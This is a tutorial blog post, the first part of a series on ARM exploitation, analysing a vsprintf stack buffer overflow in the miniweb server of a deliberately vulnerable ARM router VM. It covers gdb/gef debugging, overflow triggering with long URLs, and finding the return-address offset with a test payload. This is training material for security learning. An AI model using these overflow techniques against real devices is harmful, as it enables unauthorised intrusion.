Original DVAR learning series. The commands, addresses and behavior refer to the challenge environment described in the article; they are not universal values for ARM devices.
In this blog post series I would like to give you an introduction into writing a ROP chain for ARM based systems. I picked up the TinySploit machine because everyone can download it and you have to deal with some pitfalls like Null Byte characters. It also got another challenge in form of a traffic light. We will solve this one later. For now let's start with the basics and trying to understand the vulnerability in the TinySploit Arm Router application.
1.1 Identify the Vulnerability
On Internet of Things (IoT) devices you often encounter vulnerabilities like buffer overflows, static encryption keys or alternative credentials. Issues regarding to the authorization and authentication management are also pretty common. In this case we can exploit a buffer overflow but it is not that straight forward as it seems at the first view. So I try my best to explain it and hopefully I am right with this assumption :). Let's take a look at the disassembled output of the vulnerable function which is Log shown below. To reach this function we simply have to make a URL call. The source IP and the URL gets written into a logfile in this function.
0x00013438 <+0>: push {r0, r1, r2, r3}
0x0001343c <+4>: push {r11, lr}
0x00013440 <+8>: add r11, sp, #4
0x00013444 <+12>: sub sp, sp, #824 ; 0x338
#[... shorten ...]
0x00013484 <+76>: bl 0x10d1c <vsprintf@plt>
0x00013488 <+80>: sub r3, r11, #16
0x0001348c <+84>: mov r0, r3
0x00013490 <+88>: bl 0x10f20 <time@plt>
0x00013494 <+92>: sub r3, r11, #16
0x00013498 <+96>: mov r0, r3
0x0001349c <+100>: bl 0x10ee4 <localtime@plt>
#[... shorten ...]
0x000134b8 <+128>: bl 0x10ef0 <memset@plt>
0x000134bc <+132>: sub r2, r11, #696 ; 0x2b8
0x000134c0 <+136>: sub r0, r11, #824 ; 0x338
0x000134c4 <+140>: ldr r3, [r11, #-8]
0x000134c8 <+144>: mov r1, #127 ; 0x7f
0x000134cc <+148>: bl 0x10f68 <strftime@plt>
0x000134d0 <+152>: sub r3, r11, #216 ; 0xd8
0x000134d4 <+156>: sub r2, r11, #824 ; 0x338
0x000134d8 <+160>: sub r0, r11, #416 ; 0x1a0
0x000134dc <+164>: ldr r1, [pc, #104] ; 0x1354c <Log+276>
0x000134e0 <+168>: bl 0x10f50 <sprintf@plt>
#[... shorten ...]
0x00013534 <+252>: nop ; (mov r0, r0)
0x00013538 <+256>: sub sp, r11, #4
0x0001353c <+260>: pop {r11, lr}
0x00013540 <+264>: add sp, sp, #16
0x00013544 <+268>: bx lr
0x00013548 <+272>: ldrdeq r3, [r1], -r0
0x0001354c <+276>: ; <UNDEFINED> instruction: 0x00013ab0
0x00013550 <+280>: andeq r3, r2, r4, ror #27
0x00013554 <+284>: ; <UNDEFINED>
I have cut out some unrelated stuff and here we can see a lot of sprintf functions which can lead to a buffer overflow if they are handled incorrectly. This was also my first guess but the vulnerability is inside the vsprintf function.
The vsprintf functionality is writing formatted data from a variable argument list into a destination buffer. If the user provided argument is larger than the destination buffer than we have a simple buffer overflow. To track down the vulnerability we have to refresh some ARM bascis first because otherwise we will not be able to fully understand what is going on here.
1.1.1 Calling Convention on ARM
It is necessary - no matter what architecture we are working on - to fully understand the calling convention. In case of ARM the part with the arguments is not that hard. They get parsed into the registers r0, r1, r2 and r3. If we have more than four arguments they will get pushed onto the stack. The stack epilogue is a bit more complicated. It can variate depending on how the function has been called and this is important here.
1.1.1.1 Standalone Functions
This is the simple case. The Link Register (LR) will be set to the next instruction after the function call bl func2. At the end of the subroutine of func2 we can use a Branch Link (bl) or Branch Link Exchange (blx) instruction on the LR register to get back where we stopped at func1.
func1: func2:
+-------------------+ +-------------------+
| | | |
| add r1, r2 | +----------->| local vars |
|___________________| | |___________________|
| | | | |
| mov r0, #1 | | | |
|___________________| | | func2 stuff |
| | | | |
| bl func2 |---+ | |
|___________________| | |
lr >| | | |
|___________________|<--+ | |
| | | | |
| | | | |
| | | |___________________|
| | +------------| bx lr |
| | |___________________|
The epilogue of this function call will look like this:
#Registers:
bx lr
blx lr
There are also branch instructions like bl and b but they operate on offsets and therefore cannot be used in an epilogue to restore a register like lr. Just to complete the branch instructions on ARM - not to confuse you :).
#Offsets
bl 0x10f08 <fclose@plt>
b 0x13538 <Log+256>>
The Link Register (lr) will be used as some kind of a saving point. We can use the bx lr instruction to return back. But what if we need to overwrite the lr register? This will be the case in nested functions.
1.1.1.2 Nested Functions
If func2 is calling another function (func3) we will overwrite the Link Register (LR). Therefore we need to save and restore it.
We push the lr register onto the stack (see func2). When we call func3 the original lr (in func1) will be overwritten. It now points to the next instruction after the func3 call. For now we have lost our reference to the lr in func1. After returning back from func3 we will reach the bottom of our func2. Here the saved lr from func1 will be popped from the stack into the Program Counter (pc). Now we get back to our address where the lr has been pointing to in func1. You may have to read it twice and following the ASCII art below but it is worth to understand this.
func1: func2: func3:
+-------------------+ +-------------------+ +-------------------+
| | | | +-->| |
| add r1, r2 | +----------->| push {r11, lr} | | | |
|___________________| | |___________________| | | |
| | | | ....... | | | |
| mov r0, #1 | | |___________________| | | |
|___________________| | | | | | |
| |---+ | bl func3 |-----------+ | |
| bl func2 | |___________________| | |
|___________________| new lr >| |<---------+ | |
lr >| | |___________________| | | |
|___________________|<--+ | | | | |
| | | | ....... | +----| |
| | | |___________________| | |
| | | | |
| | +------------| pop {r11, pc} |
| | |___________________|
So if we overwrite our lr we have to save the values onto the stack with a push instruction. We can than pop them into the register and reach back to our calling functions. The epilogue will look like this:
# We can pop the value directly into the program counter.
pop {r11, pc}
# It is also possible to pop it into a register and b(l)x to it.
pop {r4, r5, r6}
bx r6
The epilogue of function can be different and it is based on how the function has been called. The understanding of this is pretty important. If you want to learn more about it I can highly recommend you the "Arm Exploitation Training" by Saumil Shah.
Fun fact beside: Did you know there is no push and pop instruction on ARM? (Saumil Shah).
# Line below is the actual translation :)
push {r3, r4} pop {r0, r1}
stmdb sp!, {r3, r4} ldmia sp!, {r0, r1}
1.2 Verify the Vulnerability
So now we got a basic understanding about the stack and the calling conventions. Now we try to verify the vulnerability. We use gdb with the gef extension to debug it.
1.2.1 Attaching a Debugger (Target)
On the Damn Vulnerable Arm Router VM we launch a gdb server with the following parameters:
gdbserver :1234 --attach $(pidof miniweb)
This will open a gdb service on all available network interfaces and TCP port 1234. You should take care if you are running this within a public environment. An attacker can of course connect to this service and execute arbitrary commands. You can specify your network address and/or use it in a VM with a "host only" network interface.
1.2.2 Connecting to the GDB Service (Attacker)
We are using a different architecture (x86/x64) than the target system (ARM) and cannot simple use our "normal" gdb binary to connect to the service. We could use a Raspberry Pi (VM/Hardware) or cross compile gdb for the ARM architecture. In this case I can recommend the crosstool-ng suite.
In this case I choosed the easy way and used an cross compiled version in an existing package like the gdb-multiarch.
$ gdb-multiarch
# Setting up the GDB parameters.
file miniweb
set architecture arm
set follow-fork-mode child
target remote 192.168.244.128:1234
One really important step is the set follow-fork-mode child. This means if the "parent" process is forking another process, we will follow it. Otherwise we would stick to the parent process and even do no realize that the program might crash if the vulnerability is within another binary (forked by the parent).
1.2.3 Debugging the Process
Now we start analyzing the program and we set our breakpoint on the vsprintf function at address: 0x00013484<.
0x13474 <Log+60> sub r3, r11, #216 ; 0xd8
0x13478 <Log+64> ldr r2, [r11, #-828] ; 0xfffffcc4
0x1347c <Log+68> ldr r1, [r11, #4]
0x13480 <Log+72> mov r0, r3
→ 0x13484 <Log+76> bl 0x10d1c <vsprintf@plt>
1.2.3.1 The vsprintf Function
We can also see that the arguments (r0,r1, r2) has been setup. The question is, how is vsprintf actually working, how many parameters does it require and what is the return value? We can find this information here.
int vsprintf (char * s, const char * format, va_list arg );
Composes a string with the same text that would be printed if format was used on printf, but using the elements in the variable argument list identified by arg instead of additional function arguments and storing the resulting content as a C string in the buffer pointed by s.
Internally, the function retrieves arguments from the list identified by arg as if va_arg was used on it, and thus the state of arg is likely to be altered by the call.
In any case, arg should have been initialized by va_start at some point before the call, and it is expected to be released by va_end at some point after the call.
Parameters:
s: Pointer to a buffer where the resulting C-string is stored.
The buffer should be large enough to contain the resulting string.
format: C string that contains a format string that follows the same specifications as format in printf (see printf for details).
arg: A value identifying a variable arguments list initialized with va_start.
va_list is a special type defined in <cstdarg>.
Return:
On success, the total number of characters written is returned.
On failure, a negative number is returned.
So generally speaking it behaves pretty similar to a sprintf. The difference here is that if we provide two format string parameters %s in sprintf, the values gets stored in two additional "places" e. g. r2 and r3. On vsprintf, the values gets stored in "one" place as a va_list.
Checking the Stack
The r0 register contains our destination buffer. It is also pointing into the stack. We can track it down in the disassembled code:
Dump of assembler code for function Log:
0x00013438 <+0>: push {r0, r1, r2, r3}
0x0001343c <+4>: push {r11, lr}
0x00013440 <+8>: add r11, sp, #4
[ ... shorten ... ]
0x0001346c <+52>: add r3, r11, #8
0x00013470 <+56>: str r3, [r11, #-828] ; 0xfffffcc4
0x00013474 <+60>: sub r3, r11, #216 ; 0xd8
0x00013478 <+64>: ldr r2, [r11, #-828] ; 0xfffffcc4
0x0001347c <+68>: ldr r1, [r11, #4]
0x00013480 <+72>: mov r0, r3
0x00013484 <+76>: bl 0x10d1c <vsprintf@plt>
At the beginning of the function several registers gets pushed onto the stack. Based on the calling convention it is a signal that these registers might get overwritten in this function and need to be restored later on. We will see the corresponding pop instructions at the end of this function. This is very important and the reason why I included it in the section above.
On address 0x00013440 we are "removing" (add) four bytes from the sp and moving the result into the register r11 which now has a reference to the stack. It will get "referecend" by r3 on address 0x0001346c and finally moved into r0 (0x00013480).
Checking the Arguements
The format string gets stored in r1. In this case there are two %s parameters which logs the source IP and the URL of a given request. The arguments for these vales are referenced as va_list in the register r2.
vsprintf@plt (
$r0 = 0xbeffbabc → 0x400494f8 → 0xe3550000,
$r1 = 0x000136f4 → "Connection from %s, request = "GET %s"",
$r2 = 0xbeffbb9c → 0x40075903 → "192.168.244.134",
$r3 = 0xbeffbabc → 0x400494f8 → 0xe3550000
)
# r2 points to the address 0xbeffbb9c which is on the stack.
# If we take a look at this reference we can see our va_list arguments.
gef➤ x/4dwx 0xbeffbb9c
0xbeffbb9c: 0x40075903 0xbeffbd00 0x40075903 0x00000000
gef➤ x/s 0x40075903
0x40075903: "192.168.244.134"
gef➤ x/s 0xbeffbd00
0xbeffbd00: "/", 'AAAAAAAA'
Checking the Destination Buffer (r0)
The registers which has get pushed onto the stack at the beginning of the function will now be restored in the corresponding pop insturctions.
# Beginning of Log function
0x0001343c <+4>: push {r11, lr}
# Epilogue of Log function:
0x0001353c <+260>: pop {r11, lr}
We set our breakpoint at the "Log" function (b Log) and check what values are stored in the registers r11 and lr. Than we jump to the function epilogue and compare them against the values that gets popped from the stack. Of course we just provide a small URL otherwise we might change these values based on a potential buffer overflow in this function.
# Before we enter the Log function
$r0 : 0x000136f4 → "Connection from %s, request = "GET %s""
$r1 : 0x40075903 → "192.168.244.134"
$r2 : 0xbeffbd00 → "/AAAAAA"
$r3 : 0x40075903 → "192.168.244.134"
[... shorten ...]
$r10 : 0xbefffec4 → 0xbeffff97 → "/usr/bin/miniweb"
$r11 : 0xbeffbb94 → 0x00011cdc → <serveconnection+1156> ldr r3, [r11, #-28] ; 0xffffffe4
$r12 : 0x1
$sp : 0xbeffb858 → 0x00000000
$lr : 0x00011cdc → <serveconnection+1156> ldr r3, [r11, #-28] ; 0xffffffe4
$pc : 0x00013448 → <Log+16> ldr r3, [pc, #248] ; 0x13548 <Log+272>
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
The lr register is holding the reference to the address 0x00011cdc and is the important one. This is the saving point where we will return back to the calling function (bx lr). This is our "return" address. The value in r11 also references to the stack but as already mentioned is less important.
# When we levae the function
0x13530 <Log+248> b 0x13538 <Log+256>
0x13534 <Log+252> nop ; (mov r0, r0)
0x13538 <Log+256> sub sp, r11, #4
→ 0x1353c <Log+260> pop {r11, lr}
0x13540 <Log+264> add sp, sp, #16
0x13544 <Log+268> bx lr
0x13548 <Log+272> ldrdeq r3, [r1], -r0
0x1354c <Log+276> ; <UNDEFINED> instruction: 0x00013ab0
0x13550 <Log+280> andeq r3, r2, r4, ror #27
────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "miniweb", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x1353c → Log()
──────────────────────────────────────────────────────────────────────────────────
Thread 2.1 "miniweb" hit Breakpoint 1, 0x0001353c in Log ()
gef➤ x/20dwx $sp
0xbeffbb90: 0xbefffd2c 0x00011cdc 0x000136f4 0x40075903
0xbeffbba0: 0xbeffbd00 0x40075903 0x00000000 0x00000004
0xbeffbbb0: 0x00000000 0x00000010 0x5cac0002 0x86f4a8c0
0xbeffbbc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbeffbbd0: 0x00000000 0x00000000 0x00000000 0x00000000
gef➤
We hit the pop {r11, lr} instruction which takes the next two block of four bytes (ARM instructions are always four byte long) and stores them in the register r11 and lr. We can verify the result from entering the function that lr gets restored to the address 0x00011cdc.
Now we know the value we have to overwrite on the stack. It is 0x00011cdc where lr gets restored. We now proivde a very long URL and see if we can reach it. We use this simple python line to create the whole URL.
# Printing the URL and apapending 400 times "A"
python -c 'print "http://192.168.244.128/"+"A"*400'
# Output:
http://192.168.244.128/AAAAAAAAAAAAAA...
We also set our breakpoint at the function epilogue and see how the stack looks like. If the destination buffer is smaller than the argument we provided, we will overwrite values within the stack and probably the returning address.
0x13530 <Log+248> b 0x13538 <Log+256>
0x13534 <Log+252> nop ; (mov r0, r0)
0x13538 <Log+256> sub sp, r11, #4
→ 0x1353c <Log+260> pop {r11, lr}
0x13540 <Log+264> add sp, sp, #16
0x13544 <Log+268> bx lr
0x13548 <Log+272> ldrdeq r3, [r1], -r0
0x1354c <Log+276> ; <UNDEFINED> instruction: 0x00013ab0
0x13550 <Log+280> andeq r3, r2, r4, ror #27
────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "miniweb", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────── trace ────
[#0] 0x1353c → Log()
──────────────────────────────────────────────────────────
Thread 2.1 "miniweb" hit Breakpoint 1, 0x0001353c in Log ()
gef➤ x/20dwx $sp
0xbeffbb90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbeffbba0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbeffbbb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbeffbbc0: 0x41414141 0x41414141 0x41414141 0x22414141
0xbeffbbd0: 0x4141000a 0x41414141 0x41414141 0x41414141
Here we can see that we have successfully overwritten the values within the stack and when the next instruction gets executed (pop {r11, lr}), the value 0x41414141 gets stored in the lr register and we branch (bx lr) to it. The program will throw a segementation fault (SIGSEGV) because there is no valid code at this address.
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "miniweb", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────
0x41414140 in ?? ()
gef➤ c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
We will talk later about why the program tries to resolve 0x41414140 and not 0x41414141 but for not let's do it again and check what is really happening here. I will make a quick summary of this.
1.2.3.2 Explanation of the Bug
Ok, we are having a vsprintf function that takes our source IP address and the URL as parameters and put them into a destination buffer. The length does not get checked and we can overflow the destination buffer. But this is not the problem for now. Take a close look at the sub sp, r11, #4 instruction. This will subtract four bytes from our string and move it into the stack pointer. We can also describe it in other words, the stack pointer is now pointing directly into our buffer. We will flood the stack with values from our string and based on the buffer overflow before we overwrite other values like the saved lr address. When the program now pops the next four bytes from the stack into the register, it will be a value out of our string (URL). At this point we are having control over the function.
# We save our registers onto the stack. They will get overwritten and needs to be restored later on.
0x00013438 <+0>: push {r0, r1, r2, r3}
# Here we save our "returning address" in form of the lr register.
0x0001343c <+4>: push {r11, lr}
# We add 4 to the stack pointer and move the result into r11.
# This makes r11 pointing into the stack.
0x00013440 <+8>: add r11, sp, #4
[... shorten ...]
# We setup our destination buffer r0 with a reference of r3 which points to r11 which points to the stack.
# r1 is our format string Connection from %s, request = "GET %s""
# r2 is our argument list <ip> and <url>
000134e4 <+172>: sub r3, r11, #672
0x000134e8 <+176>: ldr r2, [pc, #96]
0x000134ec <+180>: ldr r1, [pc, #96]
0x000134f0 <+184>: mov r0, r3
0x000134f4 <+188>: bl 0x10f50 <sprintf@plt>
# The stack looks clean at the moment no evidence of mass "A"s
0x00013488 <+80> sub r3, r11, #16
[... shorten ...]
0x00013534 <+252>: nop ; (mov r0, r0)
# The stack still looks clean but here the magic happens.
# r11 still is a reference to our string of "A"s
# It gets moved into the sp register and the stack now directly points into our string
# If we execute this instruction (0x00013538) we will flood the stack with our URI of "A"s
0x00013538 <+256>: sub sp, r11, #4
# We will now fetch the next eight 8 from the stack and store them in r11 (4 bytes) and lr (4 bytes).
# The stack has been flooded with "A"so lr has the "address" 0x41414141 after this instruction.
0x0001353c <+260>: pop {r11, lr}
# We add 16 bytes to the stack which will be later on pretty important.
# Regarding to our overflow it has no direct impact because lr has been already overwritten.
0x00013540 <+264>: add sp, sp, #16
# We will branch to the instruction we saved in lr (0x41414141)
0x00013544 <+268>: bx lr
#The program crashes with a segementation fault
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "miniweb", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x41414140 in ?? ()
But why has the Program Counter (pc) tried to resolve the address 0x41414140 and not 0x41414141??? The reason is pretty simple. The Least Significant Bit (lsb) within the pc is used for switching the processor mode from ARM to THUMB and vice versa. If we apply the address 0x41414141 we are telling the processor to switch to THUMB mode (nice blog btw.). The lsb gets ignored regarding to the actual address because otherwise it would be an odd number. By ignoring this bit we get the following address 0x41414140 which gets resolved.
The same happens if we proivde "CCCC"s. The pc will try to resolve the address 0x43434342. The lsb gets ignored. This is also pretty important when we are creating our pattern to find the offset. You should keep this in mind :).
1.3 Preparing the Buffer Overflow
We identified our stack based buffer overflow. We are also having control over the program flow. We now need to figure out, how many bytes we have to write until our value ends up correct in the pc register. This will be the address we wanna jump to.
There are tons of possiblities out there to achieve this task. One is the usage of the pattern extension in gef (gdb).
gef➤ pattern create 400
[+] Generating a pattern of 400 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
[+] Saved as '$__gef0’W
This generates a unique string and we place at the end of the URL. We also set our breakpoint at the address 0x0001353c.
# We move our string into the sp.
0x00013538 <+256>: sub sp, r11, #4
# Four bytes gets popped into r11
# The next four bytes gets popped into lr and we leave later on.
0x0001353c: pop {r11, lr}
0x00013540 <+264>: add sp, sp, #16
# We jump to the address in the lr register.
0x00013544 <+268>: bx lr
In this case it might be already useful to create a simple .gdbinit script to avoid typing all these things multiple times:
$ cat .gdbinit
# Automatically attach to the running gdbserver process and set the breakpoint
source /home/thumbmode/.gdbinit-gef.py
set follow-fork-mode child
target remote 192.168.244.128:1234
b *0x0001353c
Just launch gdb-multiarch again and everythin will get setup automatically. We take our pattern and open the following URL: http://192.168.244.128/aaaab.... We hit the breakpoint and verify that the stack is pointing into our string ( provided URL).
$r0 : 0x0
$r1 : 0x200
$r2 : 0x400742c8 → 0x02000000
$r3 : 0x0
$r4 : 0xbefffecc → 0xbeffffa8 → "SHLVL=2"
$r5 : 0xbefffec4 → 0xbeffff97 → "/usr/bin/miniweb"
$r6 : 0x1
$r7 : 0x0001113c → <main+0> push {r11, lr}
$r8 : 0x1
$r9 : 0x0
$r10 : 0xbefffec4 → 0xbeffff97 → "/usr/bin/miniweb"
$r11 : 0xbeffbb94 → "aadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaa[...]"
$r12 : 0x24
$sp : 0xbeffbb90 → "aadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaa[...]"
$lr : 0x400294a8 → 0xe59f00f4
$pc : 0x0001353c → <Log+260> pop {r11, lr}
$cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
─────────────────────────────────────────────────────────────────────────────────── stack ────
0xbeffbb90│+0x0000: "aadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaa[...]" ← $sp
0xbeffbb94│+0x0004: "aadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaa[...]" ← $r11
0xbeffbb98│+0x0008: "aadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaa[...]"
0xbeffbb9c│+0x000c: "aadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaa[...]"
0xbeffbba0│+0x0010: "aadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad""
0xbeffbba4│+0x0014: "aadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad""
0xbeffbba8│+0x0018: "aadqaadraadsaadtaaduaadvaadwaadxaadyaad""
0xbeffbbac│+0x001c: "aadraadsaadtaaduaadvaadwaadxaadyaad""
────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0x13530 <Log+248> b 0x13538 <Log+256>
0x13534 <Log+252> nop ; (mov r0, r0)
0x13538 <Log+256> sub sp, r11, #4
→ 0x1353c <Log+260> pop {r11, lr}
0x13540 <Log+264> add sp, sp, #16
0x13544 <Log+268> bx lr
0x13548 <Log+272> ldrdeq r3, [r1], -r0
0x1354c <Log+276> ; <UNDEFINED> instruction: 0x00013ab0
0x13550 <Log+280> andeq r3, r2, r4, ror #27
─────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "miniweb", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────── trace ───
[#0] 0x1353c → Log()
gef➤ x/16dwx $sp
0xbeffbb90: 0x6b646161 0x6c646161 0x6d646161 0x6e646161
0xbeffbba0: 0x6f646161 0x70646161 0x71646161 0x72646161
0xbeffbbb0: 0x73646161 0x74646161 0x75646161 0x76646161
0xbeffbbc0: 0x77646161 0x78646161 0x79646161 0x22646161
If we move to the next instruction (n), the next two values gets popped from the stack and movded into the resgisters r11 (
0x6b646161) and lr (0x6c646161).
[... shorten ..]
$r10 : 0xbefffec4 → 0xbeffff97 → "/usr/bin/miniweb"
$r11 : 0x6b646161 ("aadk"?)
$r12 : 0x24
$sp : 0xbeffbb98 → "aadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaa[...]"
$lr : 0x6c646161 ("aadl"?)
$pc : 0x00013540 → <Log+264> add sp, sp, #16
$cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
──────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbeffbb98│+0x0000: "aadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaa[...]" ← $sp
0xbeffbb9c│+0x0004: "aadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaa[...]"
0xbeffbba0│+0x0008: "aadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad""
0xbeffbba4│+0x000c: "aadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad""
0xbeffbba8│+0x0010: "aadqaadraadsaadtaaduaadvaadwaadxaadyaad""
0xbeffbbac│+0x0014: "aadraadsaadtaaduaadvaadwaadxaadyaad""
0xbeffbbb0│+0x0018: "aadsaadtaaduaadvaadwaadxaadyaad""
0xbeffbbb4│+0x001c: "aadtaaduaadvaadwaadxaadyaad""
───────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0x13534 <Log+252> nop ; (mov r0, r0)
0x13538 <Log+256> sub sp, r11, #4
0x1353c <Log+260> pop {r11, lr}
→ 0x13540 <Log+264> add sp, sp, #16
0x13544 <Log+268> bx lr
0x13548 <Log+272> ldrdeq r3, [r1], -r0
0x1354c <Log+276> ; <UNDEFINED> instruction: 0x00013ab0
0x13550 <Log+280> andeq r3, r2, r4, ror #27
0x13554 <Log+284> ; <UNDEFINED> instruction: 0x00013abc
────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "miniweb", stopped, reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x13540 → Log()
──────────────────────────────────────────────────────────────────────────────────────────────────
0x00013540 in Log ()
gef➤ x/16dwx $sp
0xbeffbb98: 0x6d646161 0x6e646161 0x6f646161 0x70646161
0xbeffbba8: 0x71646161 0x72646161 0x73646161 0x74646161
0xbeffbbb8: 0x75646161 0x76646161 0x77646161 0x78646161
0xbeffbbc8: 0x79646161 0x22646161 0x6161000a 0x61616963
So we can see that the register r11 and lr have changed as expected and that the values has been removed from the stack. The next instruction add sp, sp, #16 adds 16 bytes to the stack pointer. This means that we are moving the stack by 4 double words (dw). In other words these values get removed from the stack :).
This means that if we prepare later on our payload, we need to add additional 16 bytes to it. Otherwise we remove 16 bytes from our exploit (shellcode or ropchain) and it will fail. This might not be recognized if we are not taken care of the whole epilogue of this function. The returning address will match at our offset because it does not get touched afterwards.
0x13538 <Log+256> sub sp, r11, #4
0x1353c <Log+260> pop {r11, lr}
0x13540 <Log+264> add sp, sp, #16
→ 0x13544 <Log+268> bx lr
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────── threads ───
[#0] Id 1, Name: "miniweb", stopped, reason: SINGLE STEP
──────────────────────────────────────────────────────────────── trace ────
[#0] 0x13544 → Log()
───────────────────────────────────────────────────────────────────────────
0x00013544 in Log ()
gef➤ x/16dwx $sp
0xbeffbba8: 0x71646161 0x72646161 0x73646161 0x74646161
0xbeffbbb8: 0x75646161 0x76646161 0x77646161 0x78646161
0xbeffbbc8: 0x79646161 0x22646161 0x6161000a 0x61616963
0xbeffbbd8: 0x61616a63 0x61616b63 0x61616c63 0x61616d63
We reached the end of our function which is the bx lr instruction. The value has not been modified since the pop instruction and it still contains the "address" 0x6c646161. If we move on we end up here:
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6c646160
─────────────────────────────────────────────────────────────────────── threads ──
[#0] Id 1, Name: "miniweb", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────── trace ───
──────────────────────────────────────────────────────────────────────────────────
0x6c646160 in ?? ()
gef➤ c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
gef➤
We can see that we switched the processor mode to THUMBMODE (still a nice blog!) again. The actual address we entered is 0x6c646161 but the pc register is trying to resolve the addres 0x6c646160.
Another important step which needs to be considered because if we search for our offset, we have to provide the real address 0x6c646161. The offset is staticly providing a string and of course does not care about the processor mode. These little things make this challenge so lovely. :)
gef➤ pattern offset 0x6c646161
[+] Searching '0x6c646161'
[+] Found at offset 341 (little-endian search) likely
gef➤ pattern offset 0x6c646160
[+] Searching '0x6c646160'
[!] Pattern '0x6c646160' not found
In this case we got lucky that the other offset does not exist, otherwise we would follow the wrong path ^^.
1.2.4 Quick Recap
We should always check if the offset really fits. We create a simple payload to check if we got control over the value in pc.
# Verify the return address with 0x42424242 again.
# Do not use odd numbers like 0x43434343 because of thumbmode!
python -c 'print "A"*341 + "B" *4 + "C" * 116’
We append this result at the end of the URL: http://192.168.128.134/AAAAAA[... shorten ...] and check it with gdb again.
0x13530 <Log+248> b 0x13538 <Log+256>
0x13534 <Log+252> nop ; (mov r0, r0)
0x13538 <Log+256> sub sp, r11, #4
→ 0x1353c <Log+260> pop {r11, lr}
0x13540 <Log+264> add sp, sp, #16
0x13544 <Log+268> bx lr
0x13548 <Log+272> ldrdeq r3, [r1], -r0
0x1354c <Log+276> ; <UNDEFINED> instruction: 0x00013ab0
0x13550 <Log+280> andeq r3, r2, r4, ror #27
────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "miniweb", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x1353c → Log()
──────────────────────────────────────────────────────────────────────────────────────────────────
Thread 2.1 "miniweb" hit Breakpoint 1, 0x0001353c in Log ()
gef➤ x/20dwx $sp
0xbeffbb90: 0x41414141 0x42424242 0x43434343 0x43434343
0xbeffbba0: 0x43434343 0x43434343 0x41000a22 0x41414141
0xbeffbbb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbeffbbc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbeffbbd0: 0x41414141 0x41414141 0x41414141 0x41414141
gef➤
We pop 0x41414141 into r11 and 0x42424242 into lr. We add 16 bytes to the stack and bx lr. We should end up in resolving the address 0x42424242 and get our segfault.
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
────────────────────────────────────────────────────────────────────────────────────── threads ───
[#0] Id 1, Name: "miniweb", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────────
0x42424242 in ?? ()
gef➤ c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
The next part (Part 2 ) is about some counter-measures and gives you a quick introduction into ROP chains on ARM.. If you are just interested in the exploit itself than please check out Part 3.
It has become a really long blog post for such a topic but I would like to go over the pitfalls that could/did happen during the analysis :).